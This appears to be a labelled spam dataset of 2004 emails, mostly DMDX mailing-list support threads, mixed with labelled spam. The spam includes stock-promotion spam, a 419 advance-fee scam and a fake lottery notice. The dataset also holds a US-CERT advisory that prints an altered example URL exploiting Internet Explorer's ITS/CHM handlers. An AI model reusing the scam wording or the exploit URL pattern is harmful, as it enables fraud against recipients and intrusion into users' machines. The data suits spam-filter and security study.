DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 02 Apr 2004 10:44:06 -0700",[DMDX] Re: RE: randomised inter trial intervals,"At 10:28 AM 4/2/2004 +0100, you wrote: >Thanks very much for the info. Jonathan. One more quick question- It >seems like it will allow me to specify the maximum value of the random >frame duration but not the minimum which defaults to "" 0 "" is this >true? Or could I include a minimum value, I want the shortest frame >between items to be 500 msecs...... So use /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""I refuse to have a battle of wits with an unarmed person.""",0,0 fk5qvgm ,XXX@XXXXXXXX.XXXXXXX.XXX,"Sat, 03 Apr 2004 11:43:07 +0800",Impressive outlook for Thursdayday [HOT NEWS Thursday] Gorham durability afternoons,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. And it will go all week so it would be best to get in NOW S T R O N G B U Y R E C O M M E N D A T I O N B U Y N O W Current Press Release Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. 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Note: Anybody under the age of 18 is automatically not disqualified. Yours Sincerely, Mrs. Mercy Williams, For Management. www.lott.nl ",1,0 Ronan O'Ceallaigh ,DMDX@psy1.psych.arizona.edu,"Mon, 05 Apr 2004 13:20:45 +0100",[DMDX] RE: Re: Millisecond synchronization,"Sorry, I should have explained our setup a bit better. At the moment, I'm running both DMDX and the eye tracker on the same computer, so both processes will be working off the same clock. This is why I thought using the system clock with a millisecond time-stamp may work. (I do realise that running both processes on the same machine will introduce some additional error, but this setup is due to funding constraints.) However, if there was a way for DMDX to set a given memory location or interrupt, I could try to use that as the trigger for the eye tracking software. I'm reluctant to use a feedback loop from a PIO card, but if you think that's the only solution I'll attempt it. Regards, Ronan -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Jonathan C. Forster Sent: 01 April 2004 18:41 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Millisecond synchronization At 04:34 PM 4/1/2004 +0100, you wrote: >Hello, > >I'm trying to interface a DMDX experiment with an eye tracker, and I'm >having trouble synchronising the two data sets. I need to be able to link >each eye position, of which there are 50 a second, to what dmdx is >displaying at that time, so it's crucial that I can tell when each process >starts. > >I've used to give me the millisecond starting point of each >trial >within the experiment, but I need to know the exact millisecond starting >point of the experiment itself for this to be useful. So far all that I >have is the second time stamp on the top of a ZIL or AZK file. Is there >anyway to get this information? Or is anyone aware of a workaround that I >could use? We usually synchronize machines in such circumstances with a signal from an interface card, can your eye tracker record another channel of data? Or alternatively can be started by the signal from DMDX? Barring that the time stamp of the file is all that exists right now and I doubt that giving you a millisecond accurate time stamp would help much as the probability of the two clocks being in synch to the millisecond is zero. Even if you have them synched to an external time source both machines will drift almost immediately. Which is which recording a signal from DMDX in the eye tracking data is the best solution. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is not lost by dying; life is lost minute by minute, day by day, in all the thousand, small, uncaring ways. - Stephen V. Benet ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 05 Apr 2004 10:26:17 -0700",[DMDX] RE: Re: Millisecond synchronization,"At 01:20 PM 4/5/2004 +0100, you wrote: >Sorry, I should have explained our setup a bit better. At the moment, I'm >running both DMDX and the eye tracker on the same computer, so both >processes will be working off the same clock. This is why I thought using >the system clock with a millisecond time-stamp may work. (I do realise >that running both processes on the same machine will introduce some >additional error, but this setup is due to funding constraints.) > >However, if there was a way for DMDX to set a given memory location Illegal in win32. > or interrupt, Also illegal for a non-kernal mode process which DMDX is. Inter-process communications is done with mutexs and events. > I could try to use that as the trigger for the eye tracking software. > I'm reluctant to use a feedback loop from a PIO card, but if you think > that's the only solution I'll attempt it. Given your funding constraints it's likely to be, I don't modify DMDX for free. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It's not an optical illusion. It just looks like one. ",0,0 Kurtis Overton ,DMDX@psy1.psych.arizona.edu,"Mon, 05 Apr 2004 11:19:20 -0540",re: in the d011ar BRENT advised TIM0THY,"Hot Voip sector. Watch Alert starting now. Add iZON to your radars now The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation inZon Corp iZON Big News for iZON inZon Corp. Announces Network Migration Complete DELRAY BEACH, Fla.--(BUSINESS WIRE)--May 9, 2006--inZon Corporation (OTCBB:IZON - News), a dynamic global telecommunication service participant in the fast growing Voice over Internet Protocol (VoIP) wholesale telecom market, announced today that it has now completed the migration of the entirety of its customer traffic to its own private global VoIP network, which is wholly owned by the Company. (Partial clip only) Go read the entire release asap. Said inZon's CEO, David F. Levy, ""We are delighted with this achievement, which will substantially boost operating margins and further accelerate rapid growth in customer traffic."" The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received two hundred fifty thousand free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. Read the Company's Annual Report if one is available and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. re: sh0u1d R0GER s NYSE inf0rm MIKE ",1,0 Doug Fuller ,DMDX@psy1.psych.arizona.edu,"Mon, 05 Apr 2004 14:42:25 -0400",[DMDX] Joystick recommendations for RT accuracy,"Hello! We are starting a multi-site research project which includes an experiment in which RT data is collected. The test involves a child (4-5 yr old) pressing a button on a joystick in response to a stimulus. The question to the list is: do you recommend any particular brand/manufacturer of joystick that will give the best accuracy and durability? Are off-the-shelf gaming joysticks sufficient (with proper software) to achieve millisecond precision? Thanks in advance! -- Doug Fuller dfuller@wayne.edu Research Technician, Wayne State University Department of Psychiatry and Behavioral Neurosciences ",0,0 micheal harni ,XXXXXXX@XXXXXXXX.XXX,"Tue, 06 Apr 2004 05:45:56 -0400",leter,"Dear Sir, I am Micheal Harni A former government official of Liberia. Following the exit of president Charles Taylor of Liberia from power under a West African brokered peace agreement, led by Nigerian President Olusegun Obasanjo he was granted asylum by the Nigerian Government. In my position as the Financial Secretary to the President and close confidant, I left for Nigeria in his Entourage. My country has been engulfed in Protracted Civil war with rebels controlling some parts of the country. During the war, President Taylor disbursed large sums of Monies to buy the loyalty of the entire cabinet, and I can say with all modesty that I was one of the Chief Beneficiaries of this disbursement. This is aside from monies I used my official position to acquire while in office. Since we relocated to Calabar, Southern Nigeria all has been well, but with the recent indictment of former President Taylor by the war crime tribunal sitting in Sierra Leone and confirmed reports of a dedicated fund by the American Government to capture him in order to face war crime charges have now decided to leave the country. Presently I have funds totaling United State $15,000,000. (Fifteen Million US Dollars) Which I intend to move oversea for investment and spend the rest of my life there with my family. This transaction is risk-free as all local arrangement has been made. If you are prepared to assist to work with me I require the following: Your Full Name and Address, Your Private Telephone, Fax Number and private Email Address. As Compensation for your assistance you will retain 15% of the Total sum, While 5% will be mapped out for local and International expenses. Though we are not known to each other, I strongly believe that through this transaction we would be able to forge a mutually beneficial relationship between us, now and in the future. Finally, the success of this transaction will depend to a great extent on mutual trust, secrecy and Confidentiality from you. I await your response by E-mail.micheal_harni2001@yahoo.co.uk Best Regards, Micheal Harni. Visit New York City online. Special offers on hotels, shops, attractions, and more. Plus FREE @nyc.com or @newyorkcity.com E-Mail! XXXX://www.NewYorkCity.com XXXX://www.NYC.com ",1,0 Melissa Torun ,melissax5@mail.austria.com,"Tue, 06 Apr 2004 13:10:33 +0200",CONGRATULATIONS,"TRANS-NATIONAL LOTTO UK. 59 LUFFIELD ROAD, ABBEYWOOD SE2 9JW. LONDON. UNITED KINGDOM. FROM: THE DESK OF THE PROMOTIONS MANAGER, INTERNATIONAL PROMOTIONS/PRIZE AWARD DEPARTMENT, REF:EE/EGS/16-DD2751144 AND BATCH NO:53/1014/MFD. ATTENTION: Sir/Madam, RE/AWARD NOTIFICATION We are pleased to inform you of the announcement today 6th of APRIL 2004, of winners of THE TRANS-NATIONAL LOTTO PROGRAMS held on the 31st of MARCH, 2004 as part of our FIRST QUARTER of the year bonanza. You or your company, attached to ticket number 034-1416-4612-750, with serial number 6521-11 drew the lucky numbers 31-51-22-24-39-43, and consequently won the lottery in category B. You have therefore been approved for a lump sum pay out of US$2,500,000 in cash credited to file REF: EE/EGS/16-DD2751144 This is from total prize money of US$12,500,000.00 shared among 5 winners in this category. All participants were selected through a computer balloting system drawn from 96,000 names from Middle East, Asia, Africa, Canada, Europe and North America and Oceania as part our International Promotions Program, which is conducted annually. CONGRATULATIONS! Your fund is now deposited with GLOBAL TRUST & SECURITIES, a security House insured in your name. Due to the mix up of some numbers and names, we ask that you keep this award strictly from public notice until your claim has been processed and your money remitted to your account. This is part of our security protocol to avoid double claiming or unscrupulous acts by participants of this program. We hope with a part of your prize, you will participate in our end of year high stakes US$1.3 billion International Lottery. To begin your claim, please contact your claims agent; MR CONRAD BLAKE GLOBAL TRUST & SECURITIES, LONDON. U.K. TEL:+447796528593 FAX:+448707622041. EMAIL : con_blake@mail2world.com, EMAIL : Conrad_blake@your-house.com for due processing and remittance of your prize money to a designated account of your choice. Remember, you must contact your claims agent not later than 15th of APRIL, 2004. After this date, all funds will be returned as unclaimed. All correspondences to MR. CONRAD BLAKE, either by fax or email, should have this EMAIL sent along with it and also, your FULL ADDRESS, YOUR COUNTRY OF RESIDENCE, TEL/FAX NUMBERS and your EMAIL ADDRESS to which this email is sent, should be clearly and BOLDLY WRITTEN IN YOUR RESPONSE with your claims agent. NOTE: In order to avoid unnecessary delays and complications, please remember to quote your reference and batch numbers in every one of your correspondences with your agent. Furthermore, should there be any change of your address, do inform your claims agent as soon as possible. Congratulations again from all our staff and thank you for being part of our promotions program. Sincerely, MELISSA TORUN. THE PROMOTIONS MANAGER, THE TRANS-NATIONAL LOTTO UK. N.B. Any breach of confidentiality on the part of the winners will result to disqualification. Please do not reply to this mail. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Apr 2004 11:26:52 -0700",[DMDX] DMDX 3.0.3.0,"Courtesy of the folks at the University of Leeds we have an extension to the keyword in DMDX 3.0.3.0 (dated 04/04/04, pretty cool I thought) that allows you to provide an event name that DMDX will signal every clock in addition to the normal rcot functionality to allow inter-process synchronization of DMDX with whatever custom software you care to write. Details are in the documentation. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It's not an optical illusion. It just looks like one.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Apr 2004 15:06:49 -0700",[DMDX] DMDX 3.0.3.1," Ever notice that DMDX updates tend to come in bunches? 3.0.3.1 fixes a problem with Word's smart quotes that I noticed the other day (probably weeks ago) but was too busy to fix. Turns out that the 12/01/03 3.0.2.7 release for stopping smart quote handling if the character set is 134 for asian fonts needed an else in there if the font hadn't been defined which can happen under some odd circumstances... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It's not an optical illusion. It just looks like one. ",0,0 mimontgo@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Tue, 06 Apr 2004 16:01:14 -0700",[DMDX] TimeDX startup tests,"Hello, all. I have gotten some conflicting information about how to properly initialize the TimeDX program. Each sequence of tests that I've tried has not worked. Does anyone have a resource that lists which tests need to be run and in what order? Thanks alot. Matt Montgomery University of Arizona ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Apr 2004 16:48:48 -0700",[DMDX] Re: TimeDX startup tests,"At 04:01 PM 4/6/2004 -0700, you wrote: >Hello, all. I have gotten some conflicting information about how to properly >initialize the TimeDX program. Each sequence of tests that I've tried has not >worked. Does anyone have a resource that lists which tests need to be run and >in what order? Thanks alot. Try the TimeDX Overview in it's help: http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhoverview.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Physics is experience, arranged in economical order. - ERNST MACH ",0,1 Kristopher Ian Mathis ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Apr 2004 20:28:28 -0700",[DMDX] presenting .mov files,"We're trying to present the IADS in auditory startle paradigm. Is there a way to get DMDX to present .mov files as if they were .wav files? If not does anyone know of a good converter? Thanks, Ian ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Apr 2004 22:22:01 -0700",[DMDX] Re: presenting .mov files,"At 08:28 PM 4/6/2004 -0700, you wrote: >We're trying to present the IADS in auditory startle paradigm. Is there a >way to get DMDX to present .mov files as if they were .wav files? If not >does anyone know of a good converter? You want to strip the video out? You could try the keyword. I've only tested it with pure audio files but it just might work with audiovisual files and it sure ain't going to render the video. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Two can Live as Cheaply as One for Half as Long. - Howard Kandel",0,0 Kristopher Ian Mathis ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Apr 2004 23:11:39 -0700",[DMDX] RE: Re: presenting .mov files,"The files don't actually have any video. They're just sound. I saw the StreamingAudio keyword, and I'll give it a try. Thanks for the response. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Tuesday, April 06, 2004 10:22 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: presenting .mov files At 08:28 PM 4/6/2004 -0700, you wrote: >We're trying to present the IADS in auditory startle paradigm. Is there a >way to get DMDX to present .mov files as if they were .wav files? If not >does anyone know of a good converter? You want to strip the video out? You could try the keyword. I've only tested it with pure audio files but it just might work with audiovisual files and it sure ain't going to render the video. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Two can Live as Cheaply as One for Half as Long. - Howard Kandel ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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Todd Atkins Date: Wed, 7 Apr 2004 11:06:18 -0700 X-Mailer: Apple Mail (2.613) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.4 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu Hello, You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com or Vision from www.foundstone.com (under the Resources section) should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. 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The attacker could also read and manipulate data on web sites in other domains or zones. I. Description There is a cross-domain scripting vulnerability in the way ITS protocol handlers determine the security domain of an HTML component stored in a Compiled HTML Help (CHM) file. The HTML Help system ""...uses the underlying components of Microsoft Internet Explorer to display help content. It supports HTML, ActiveX, Java, [and] scripting languages (JScript, and Microsoft Visual Basic Scripting Edition)."" CHM files use the InfoTech Storage (ITS) format to store components such as HTML files, graphic files, and ActiveX objects. IE provides several protocol handlers that can access ITS files and individual CHM components: its:, ms-its:, ms-itss:, and mk:@MSITStore:. IE also has the ability to access parts of MIME Encapsulation of Aggregate HTML Documents (MHTML) using the mhtml: protocol handler. When IE references an inaccessible or non-existent MHTML file using the ITS and mhtml: protocols, the ITS protocol handlers can access a CHM file from an alternate source. IE incorrectly treats the CHM file as if it were in the same domain as the unavailable MHTML file. Using a specially crafted URL, an attacker can cause arbitrary script in a CHM file to be executed in a different domain, violating the cross-domain security model. Any programs that use the WebBrowser ActiveX control or the IE HTML rendering engine (MSHTML) may be affected by this vulnerability. Internet Explorer, Outlook, and Outlook Express are all examples of such programs. Any programs, including other web browsers, that use the IE protocol handlers (URL monikers) could function as attack vectors. Also, due to the way that IE determines MIME types, HTML and CHM files may not have the expected file name extensions (.htm/.html and .chm respectively). NOTE: Using an alternate web browser may not mitigate this vulnerability. It may be possible for a web browser other than IE on a Windows system to invoke IE to handle ITS protocol URLs. US-CERT is tracking this issue as VU#323070. This reference number corresponds to CVE candidate CAN-2004-0380. II. Impact By convincing a victim to view an HTML document such as a web page or HTML email message, an attacker could execute script in a different security domain than the one containing the attacker's document. By causing script to be run in the Local Machine Zone, the attacker could execute arbitrary code with the privileges of the user running IE. The attacker could also read or modify data in other web sites (including reading cookies or content and modifying or creating content). Publicly available exploit code exists for this vulnerability. US-CERT has monitored incident reports that indicate that this vulnerability is being exploited. The Ibiza trojan, variants of W32/Bugbear, and BloodHound.Exploit.6 are some example of malicious code that exploit this vulnerability. It is important to note that any arbitrary executable payload could be delivered via this vulnerability, and different anti-virus vendors may identify malicious code with different names. A malicious web site or email message may contain HTML similar to the following: ms-_its:mhtml:file://C:\\nosuchfile_mht!http://www.example.com//expl oit_chm::exploit_html (This URL is intentionally modified to avoid detection by anti-virus software.) In this example, HTML and script in exploit.html will be executed in the security context of the Local Machine Zone. It is common practice for exploit.html to either contain or download an executable payload such as a backdoor, trojan horse, virus, bot, or other malicious code. Note that it is possible to encode a URL in an attempt to bypass HTTP content inspection or anti-virus software. III. Solution Currently, there is no complete solution for this vulnerability. Until a patch is available, consider the workarounds listed below. Disable ITS protocol handlers Disabling ITS protocol handlers appears to prevent exploitation of this vulnerability. Delete or rename the following registry keys: HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\PROTOCOLS\\Handler\\{ms-its,ms-it ss,its,mk} Disabling these protocol handlers will significantly reduce the functionality of the Windows Help system and may have other unintended consequences. Plan to undo these changes after patches have been tested and installed. Follow good Internet security practices These recommended security practices will help to reduce exposure to attacks and mitigate the impact of cross-domain vulnerabilities. * Disable Active scripting and ActiveX controls NOTE: Disabling Active scripting and ActiveX controls will not prevent the exploitation of this vulnerability. Disabling Active scripting and ActiveX controls in the Internet and Local Machine Zones may stop certain types of attacks and will prevent exploitation of different cross-domain vulnerabilities. Disable Active scripting and ActiveX controls in any zones used to read HTML email. Disabling Active scripting and ActiveX controls in the Local Machine Zone will prevent malicious code that requires Active scripting and ActiveX controls from running. Changing these settings may reduce the functionality of scripts, applets, Windows components, or other applications. See Microsoft Knowledge Base Article 833633 for detailed information about security settings for the Local Machine Zone. Note that Service Pack 2 for Windows XP includes these changes. * Do not follow unsolicited links Do not click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels. * Maintain updated anti-virus software Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page. Appendix B. References * Vulnerability Note VU#323070 - * US-CERT Computer Virus Resources - * CVE CAN-2004-0380 - * Introduction to URL Security Zones - * About Cross-Frame Scripting and Security - * MIME Type Determination in Internet Explorer - * URL Monikers - * Asynchronous Pluggable Protocols - * Microsoft HTML Help 1.4 SDK - * Microsoft Knowledge Base Article 182569 - * Microsoft Knowledge Base Article 174360 - * Microsoft Knowledge Base Article 833633 - * Windows XP Service Pack 2 Technical Preview - * AusCERT Update AU-2004.007 - _________________________________________________________________ This vulnerability was reported by Thor Larholm. _________________________________________________________________ Feedback can be directed to the author: Art Manion. _________________________________________________________________ Copyright 2004 Carnegie Mellon University. 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",DMDX@psy1.psych.arizona.edu,"Tue, 13 Apr 2004 08:33:52 -0700",[DMDX] Re: DMDX doesn't work,"At 10:57 PM 4/13/2004 +0800, you wrote: >I am not sure what the problem it is, can anyone of you give me some >suggestion? The suggestion is contained in the message, does it not suggest that you run TimeDX and time the video mode you are trying to use? I suggest you read some of the tutorials and/or the TimeDX help, they all explain basic DMDX use. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The loss which is unknown is no loss at all. - Publilius Syrus Sententiae ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 Apr 2004 08:34:17 -0700",[DMDX] Re: XP and Arabic,"At 05:40 AM 4/13/2004 -0700, you wrote: >Hello, >I was wondering if anyone has used XP to > design visual priming experiments with Arabic stimuli. > Any info is very much appreciated. Thank you very much I belive a couple of people have. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The loss which is unknown is no loss at all. - Publilius Syrus Sententiae ",0,0 Anna Woollams ,DMDX@psy1.psych.arizona.edu,"Wed, 14 Apr 2004 13:23:06 +1000",[DMDX] Re: XP and Arabic,"Dear Addessatar, > I was wondering if anyone has used XP to > design visual priming experiments with Arabic stimuli. > Any info is very much appreciated. Thank you very much You might find these pages from Mike Ford's DMDX tutorial website helpful: http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/parad10.html http://www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_arabiyya.html Good luck, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 14 Apr 2004 10:33:09 +0100",[DMDX] Re: XP and Arabic,"At 01:23 PM 4/14/2004 +1000, you wrote: >Dear Addessatar, > > > I was wondering if anyone has used XP to > > design visual priming experiments with Arabic stimuli. > > Any info is very much appreciated. Thank you very much > >You might find these pages from Mike Ford's DMDX tutorial website helpful: > >http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/parad10.html > >http://www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_arabiyya.html My pages on Arabic may now be out of date (like most of my tutorial pages). I am in the middle of setting up an Arabic experiment with Sami Boudelaa on a new laptop with Win2000 and some things now appear to work different. Once we have things sorted out I will create a new page for Arabic and Win2000. For a start, WordPad seems to behave a bit different with Arabic in Arabic Enable Windows 2000. The ""ignore unknown RTF"" utility also changes things (makes them easier). Not tried XP, but maybe the solutions we find for Win2000 will help with XP. In a month or so's time I will hopefully have time to redo my tutorial pages. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Apr 2004 08:16:03 -0700",[DMDX] Re: DMDX for stimulus presentation on ASL eyetracker,"At 07:04 AM 4/14/2004 +0000, you wrote: >Hello, has anybody used DMDX to program stimulus presentation on an ASL >eyetracker? I am planning to use this eyetracker for reading text, and >viewing pictures. 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Help! warm regards, Keith Majoos University New England Armidale, NSW ",0,0 Heike Martensen ,DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 13:49:53 +0200",[DMDX] filler items after error-responses,"Participants are often distracted by negative feedback which makes response times to the following item relatively unreliable. Therefore, I would like to insert a filler-item after each error-response. I wanted to do this with , sending the program to a list of filler-items that was originally skipped, and to continue the program. This works fine, however, so far the filler item that is inserted after an error-respons is always the same. In order to send the program to different filler-items every time a mistake has been made, I defined a counter and then ended each filler item with . Now I would like to use the variable c1 in . However, this function only accepts numbers and I don't see how I can get the function to work conditionally (i.e. only if an error occurred). Any suggestions? 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 10:57:18 -0700",[DMDX] Re: TimeDX 3.1.01,"At 05:09 PM 4/16/2004 +1000, you wrote: >Folks, > >I'm running the TimeDX program setting my computer's video mode, and I >get the following error: > >""FAILED TO FIND 100 CYCLES WITHOUT A MISSED RETRACE AFTER 500 CYCLES"". >When running vertical retrace, I get the same message as to be >expected. > >I'm attempting to run DMDX on a system with: >Pentium 4, 2.66GHz; 512 RAM, ATI 9000 Video card > >and XP v2002 with SP 1. You are using the latest DMDX I hope? If so you probably want to hunt up some new video drivers. If the latest ones still carry on like that then you'll have to hunt up some old ones. The trouble is with these high performance cards is that in order to make their card look the best in benchmarks the drivers do all sorts of borderline illegal things and that often screws up TimeDX, sometimes the plane jane video card is a superior choice. If you can't get it to stabilize under any circumstances you will have to use the Refresh Rate test and lower the number cycles that it looks for without an error (the Number of Cycles to Time). And that's 512 megabytes of RAM, like ""512MB RAM"" ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Apparently a teacher has been arrested in possession of compasses, protractors, and a straight edge. It is claimed he is a member of the Al Gebra movement bearing weapons of math instruction. ",0,0 Heike Martensen ,DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 20:10:19 +0200",[DMDX] Re: filler items after error-responses,"so always brings me back to the item where I used for the last time, no matter how often I used in between? h ____________________________________ Dr. Heike Martensen Center for Psycholinguistics University of Antwerpen Prinsstraat 13, D-123 2000 Antwerpen, Belgium Tel. +32-3-220 42 44 Fax +32-3-220 42 59 E-mail: heike.martensen@ufsia.ac.be web: http://cpl.ufsia.ac.be >>> jforster@psy1.psych.arizona.edu 16/04/2004 7:46:47 pm >>> At 01:49 PM 4/16/2004 +0200, you wrote: >...However, this function only accepts numbers and I >don't see how I can get the function to work >conditionally (i.e. only if an error occurred). Use the keyword as you currently use it but make the items it branches to use and then return. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Apparently a teacher has been arrested in possession of compasses, protractors, and a straight edge. It is claimed he is a member of the Al Gebra movement bearing weapons of math instruction. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 abdessatar mahfoudhi ,DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 12:15:09 -0700",[DMDX] Primary memory surface..,"Hello, I am trying a visual priming lexical decision task, when in the midde of the experiment show I get the following message and the computer crashes: ""Resetting the Shift Key 5 times turns on Sticky Keys."" After resarting my laptop (built in video card Mobility Radeon 9000) and running the task again, I get what seems to be a more serious error: ""Get DC for primary memory surface failed! DDERR_SURFACELOST(887601C2) Access to this surface is being refused because the surface is gone. The DIRECTDRAW SURFACE object representing this surface should have restore called on it."" Any ideas as to what these 2 errors mean and how to fix them? (is the video card part of the problem?) Thank you so much for your help Abdessatar Mahfoudhi Abdessatar Mahfoudhi PhD Linguistics Program Univeristy of Ottawa 70 Laurier Ave East Ottawa, On K1N 6N5 Phone: (613) 562 5800 ext 1769 --------------------------------- Do you Yahoo!? Yahoo! Tax Center - File online by April 15th",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 12:41:20 -0700",[DMDX] Re: Primary memory surface..,"At 12:15 PM 4/16/2004 -0700, you wrote: >Hello, > >I am trying a visual priming lexical decision task, when in the midde of >the experiment show I get the following message and the computer crashes: >""Resetting the Shift Key 5 times turns on Sticky Keys."" You must turn off the sticky key idiocy in XP if you are going to use the default DMDX shift keys for responses. Don't recall exactly where that is, try the Help And Support on sticky keys. > >After resarting my laptop (built in video card Mobility Radeon 9000) and >running the task again, I get what seems to be a more serious error: ""Get >DC for primary memory surface failed! >DDERR_SURFACELOST(887601C2) >Access to this surface is being refused because the surface is gone. The >DIRECTDRAW SURFACE object representing this surface should have restore >called on it."" > >Any ideas as to what these 2 errors mean and how to fix them? (is the >video card part of the problem?) When other programs pop windows up in front of DMDX this kind of stuff can occur. Turn the sticky key stupidity off and you should be fine. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a process, not a principle, a mystery to be lived, not a problem to be solved. - Gerard Straub, television producer and author (stolen from Frank Herbert??) ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Apr 2004 12:45:15 -0700",[DMDX] Re: filler items after error-responses,"At 08:10 PM 4/16/2004 +0200, you wrote: >so always brings me back to the item where I used for >the last time, no matter how often I used in between? Correctisimo. You can't have nested calls either. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a process, not a principle, a mystery to be lived, not a problem to be solved. - Gerard Straub, television producer and author (stolen from Frank Herbert??)",0,0 